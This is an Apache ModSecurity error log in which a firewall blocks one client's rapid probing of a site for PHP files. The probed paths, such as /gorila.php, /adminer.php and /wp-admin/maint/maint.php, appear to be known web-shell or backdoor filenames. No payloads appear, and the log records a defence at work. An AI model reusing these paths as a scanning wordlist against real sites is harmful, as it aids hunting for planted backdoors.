[Mon Mar 30 23:38:04.791530 2026] [:error] [pid 63557:tid 63560] [client 72.146.16.175:61537] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "acqY3K4QNVlzYgEvIjnK9AAAAQE"]
[Mon Mar 30 23:38:05.271606 2026] [:error] [pid 60747:tid 60813] [client 72.146.16.175:63853] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "acqY3QU3IY-cCpy_-zFQLgAAAMo"]
[Mon Mar 30 23:38:05.768784 2026] [:error] [pid 60746:tid 60782] [client 72.146.16.175:65460] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gorila.php"] [unique_id "acqY3Z4kQrgjDdAbQCoydAAAAIY"]
[Mon Mar 30 23:38:06.306292 2026] [:error] [pid 60746:tid 60791] [client 72.146.16.175:61489] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gorila.php"] [unique_id "acqY3p4kQrgjDdAbQCoydgAAAI8"]
[Mon Mar 30 23:38:06.790529 2026] [:error] [pid 60746:tid 60780] [client 72.146.16.175:62317] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gorila.php"] [unique_id "acqY3p4kQrgjDdAbQCoyeQAAAIQ"]
[Mon Mar 30 23:38:07.478105 2026] [:error] [pid 60746:tid 60779] [client 72.146.16.175:63779] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gorila.php"] [unique_id "acqY354kQrgjDdAbQCoyegAAAIM"]
[Mon Mar 30 23:38:07.960961 2026] [:error] [pid 60747:tid 60817] [client 72.146.16.175:60780] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "acqY3wU3IY-cCpy_-zFQMQAAAM4"]
[Mon Mar 30 23:38:08.488745 2026] [:error] [pid 60747:tid 60826] [client 72.146.16.175:61444] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "acqY4AU3IY-cCpy_-zFQMgAAANc"]
[Mon Mar 30 23:38:09.013805 2026] [:error] [pid 60747:tid 60809] [client 72.146.16.175:60793] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "acqY4QU3IY-cCpy_-zFQMwAAAMY"]
[Mon Mar 30 23:38:09.500011 2026] [:error] [pid 60747:tid 60804] [client 72.146.16.175:60745] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "acqY4QU3IY-cCpy_-zFQNAAAAME"]
[Mon Mar 30 23:38:09.965800 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:60702] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/main.php"] [unique_id "acqY4a4QNVlzYgEvIjnK_gAAAQU"]
[Mon Mar 30 23:38:10.435784 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:65469] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/main.php"] [unique_id "acqY4q4QNVlzYgEvIjnLAQAAAQM"]
[Mon Mar 30 23:38:10.913791 2026] [:error] [pid 60746:tid 60781] [client 72.146.16.175:58919] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/main.php"] [unique_id "acqY4p4kQrgjDdAbQCoyfgAAAIU"]
[Mon Mar 30 23:38:11.463102 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:63829] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/main.php"] [unique_id "acqY464QNVlzYgEvIjnLAwAAARc"]
[Mon Mar 30 23:38:12.010777 2026] [:error] [pid 60745:tid 60763] [client 72.146.16.175:65485] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins.php"] [unique_id "acqY5CQDBn75QnHaPb9WPwAAAE4"]
[Mon Mar 30 23:38:12.492876 2026] [:error] [pid 60746:tid 60796] [client 72.146.16.175:65514] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins.php"] [unique_id "acqY5J4kQrgjDdAbQCoyfwAAAJQ"]
[Mon Mar 30 23:38:12.967520 2026] [:error] [pid 63557:tid 63579] [client 72.146.16.175:61443] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins.php"] [unique_id "acqY5K4QNVlzYgEvIjnLCQAAARQ"]
[Mon Mar 30 23:38:13.470951 2026] [:error] [pid 60745:tid 60757] [client 72.146.16.175:62318] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins.php"] [unique_id "acqY5SQDBn75QnHaPb9WQQAAAEg"]
[Mon Mar 30 23:38:13.977543 2026] [:error] [pid 60747:tid 60814] [client 72.146.16.175:60734] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f.php"] [unique_id "acqY5QU3IY-cCpy_-zFQQgAAAMs"]
[Mon Mar 30 23:38:14.497425 2026] [:error] [pid 60746:tid 60785] [client 72.146.16.175:60173] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f.php"] [unique_id "acqY5p4kQrgjDdAbQCoyhgAAAIk"]
[Mon Mar 30 23:38:14.961446 2026] [:error] [pid 60746:tid 60794] [client 72.146.16.175:63804] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f.php"] [unique_id "acqY5p4kQrgjDdAbQCoyiQAAAJI"]
[Mon Mar 30 23:38:15.462626 2026] [:error] [pid 60747:tid 60825] [client 72.146.16.175:62264] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f.php"] [unique_id "acqY5wU3IY-cCpy_-zFQRgAAANY"]
[Mon Mar 30 23:38:15.935935 2026] [:error] [pid 60746:tid 60792] [client 72.146.16.175:61553] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "acqY554kQrgjDdAbQCoyiwAAAJA"]
[Mon Mar 30 23:38:16.429374 2026] [:error] [pid 60835:tid 60844] [client 72.146.16.175:62234] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "acqY6AIOJ4Lc0iJVRzwEkgAAAAc"]
[Mon Mar 30 23:38:16.912993 2026] [:error] [pid 60746:tid 60796] [client 72.146.16.175:62292] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "acqY6J4kQrgjDdAbQCoyjwAAAJQ"]
[Mon Mar 30 23:38:17.423509 2026] [:error] [pid 60745:tid 60756] [client 72.146.16.175:58999] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "acqY6SQDBn75QnHaPb9WRAAAAEc"]
[Mon Mar 30 23:38:17.890614 2026] [:error] [pid 60747:tid 60822] [client 72.146.16.175:60721] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/maint.php"] [unique_id "acqY6QU3IY-cCpy_-zFQSwAAANM"]
[Mon Mar 30 23:38:18.367051 2026] [:error] [pid 60747:tid 60814] [client 72.146.16.175:62238] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/maint.php"] [unique_id "acqY6gU3IY-cCpy_-zFQTQAAAMs"]
[Mon Mar 30 23:38:18.854710 2026] [:error] [pid 60746:tid 60799] [client 72.146.16.175:59436] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/maint.php"] [unique_id "acqY6p4kQrgjDdAbQCoykgAAAJc"]
[Mon Mar 30 23:38:19.322458 2026] [:error] [pid 63557:tid 63563] [client 72.146.16.175:61483] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/maint.php"] [unique_id "acqY664QNVlzYgEvIjnLEwAAAQQ"]
[Mon Mar 30 23:38:19.807786 2026] [:error] [pid 63557:tid 63581] [client 72.146.16.175:65459] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acqY664QNVlzYgEvIjnLFQAAARY"]
[Mon Mar 30 23:38:20.342516 2026] [:error] [pid 60747:tid 60804] [client 72.146.16.175:60221] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acqY7AU3IY-cCpy_-zFQTwAAAME"]
[Mon Mar 30 23:38:20.829913 2026] [:error] [pid 60835:tid 60851] [client 72.146.16.175:60797] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acqY7AIOJ4Lc0iJVRzwEmQAAAA4"]
[Mon Mar 30 23:38:21.296787 2026] [:error] [pid 60747:tid 60821] [client 72.146.16.175:60783] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acqY7QU3IY-cCpy_-zFQUgAAANI"]
[Mon Mar 30 23:38:21.774529 2026] [:error] [pid 60835:tid 60852] [client 72.146.16.175:60672] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acqY7QIOJ4Lc0iJVRzwEnQAAAA8"]
[Mon Mar 30 23:38:22.241596 2026] [:error] [pid 60835:tid 60841] [client 72.146.16.175:65421] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acqY7gIOJ4Lc0iJVRzwEngAAAAQ"]
[Mon Mar 30 23:38:22.723324 2026] [:error] [pid 60746:tid 60779] [client 72.146.16.175:60739] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acqY7p4kQrgjDdAbQCoylgAAAIM"]
[Mon Mar 30 23:38:23.189172 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:59481] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acqY764QNVlzYgEvIjnLIQAAARc"]
[Mon Mar 30 23:38:23.672938 2026] [:error] [pid 63557:tid 63573] [client 72.146.16.175:60746] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "acqY764QNVlzYgEvIjnLIwAAAQ4"]
[Mon Mar 30 23:38:24.201259 2026] [:error] [pid 60745:tid 60755] [client 72.146.16.175:60727] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "acqY8CQDBn75QnHaPb9WUAAAAEY"]
[Mon Mar 30 23:38:24.668787 2026] [:error] [pid 63557:tid 63579] [client 72.146.16.175:63751] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "acqY8K4QNVlzYgEvIjnLKAAAARQ"]
[Mon Mar 30 23:38:25.198253 2026] [:error] [pid 63557:tid 63577] [client 72.146.16.175:60175] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "acqY8a4QNVlzYgEvIjnLKgAAARI"]
[Mon Mar 30 23:38:25.681022 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:63800] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "acqY8a4QNVlzYgEvIjnLLQAAAQM"]
[Mon Mar 30 23:38:26.163501 2026] [:error] [pid 60747:tid 60814] [client 72.146.16.175:59459] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "acqY8gU3IY-cCpy_-zFQVwAAAMs"]
[Mon Mar 30 23:38:26.638141 2026] [:error] [pid 60835:tid 60846] [client 72.146.16.175:63768] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "acqY8gIOJ4Lc0iJVRzwErAAAAAk"]
[Mon Mar 30 23:38:27.111151 2026] [:error] [pid 60746:tid 60784] [client 72.146.16.175:58977] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "acqY854kQrgjDdAbQCoynAAAAIg"]
[Mon Mar 30 23:38:27.579415 2026] [:error] [pid 60747:tid 60825] [client 72.146.16.175:62247] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mt.php"] [unique_id "acqY8wU3IY-cCpy_-zFQWQAAANY"]
[Mon Mar 30 23:38:28.062707 2026] [:error] [pid 60747:tid 60812] [client 72.146.16.175:60222] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mt.php"] [unique_id "acqY9AU3IY-cCpy_-zFQWwAAAMk"]
[Mon Mar 30 23:38:28.569824 2026] [:error] [pid 63557:tid 63574] [client 72.146.16.175:60695] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mt.php"] [unique_id "acqY9K4QNVlzYgEvIjnLUAAAAQ8"]
[Mon Mar 30 23:38:29.044405 2026] [:error] [pid 60747:tid 60810] [client 72.146.16.175:65420] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mt.php"] [unique_id "acqY9QU3IY-cCpy_-zFQXAAAAMc"]
[Mon Mar 30 23:38:29.542634 2026] [:error] [pid 63557:tid 63575] [client 72.146.16.175:63766] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shout.php"] [unique_id "acqY9a4QNVlzYgEvIjnLXQAAARA"]
[Mon Mar 30 23:38:30.015779 2026] [:error] [pid 60745:tid 60751] [client 72.146.16.175:63808] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shout.php"] [unique_id "acqY9iQDBn75QnHaPb9WVQAAAEI"]
[Mon Mar 30 23:38:30.487290 2026] [:error] [pid 60835:tid 60858] [client 72.146.16.175:62284] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shout.php"] [unique_id "acqY9gIOJ4Lc0iJVRzwEzwAAABU"]
[Mon Mar 30 23:38:30.962600 2026] [:error] [pid 60835:tid 60839] [client 72.146.16.175:59497] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shout.php"] [unique_id "acqY9gIOJ4Lc0iJVRzwE0wAAAAI"]
[Mon Mar 30 23:38:31.471809 2026] [:error] [pid 63557:tid 63579] [client 72.146.16.175:65443] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zews.php"] [unique_id "acqY964QNVlzYgEvIjnLcgAAARQ"]
[Mon Mar 30 23:38:31.979551 2026] [:error] [pid 63557:tid 63574] [client 72.146.16.175:63792] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zews.php"] [unique_id "acqY964QNVlzYgEvIjnLeAAAAQ8"]
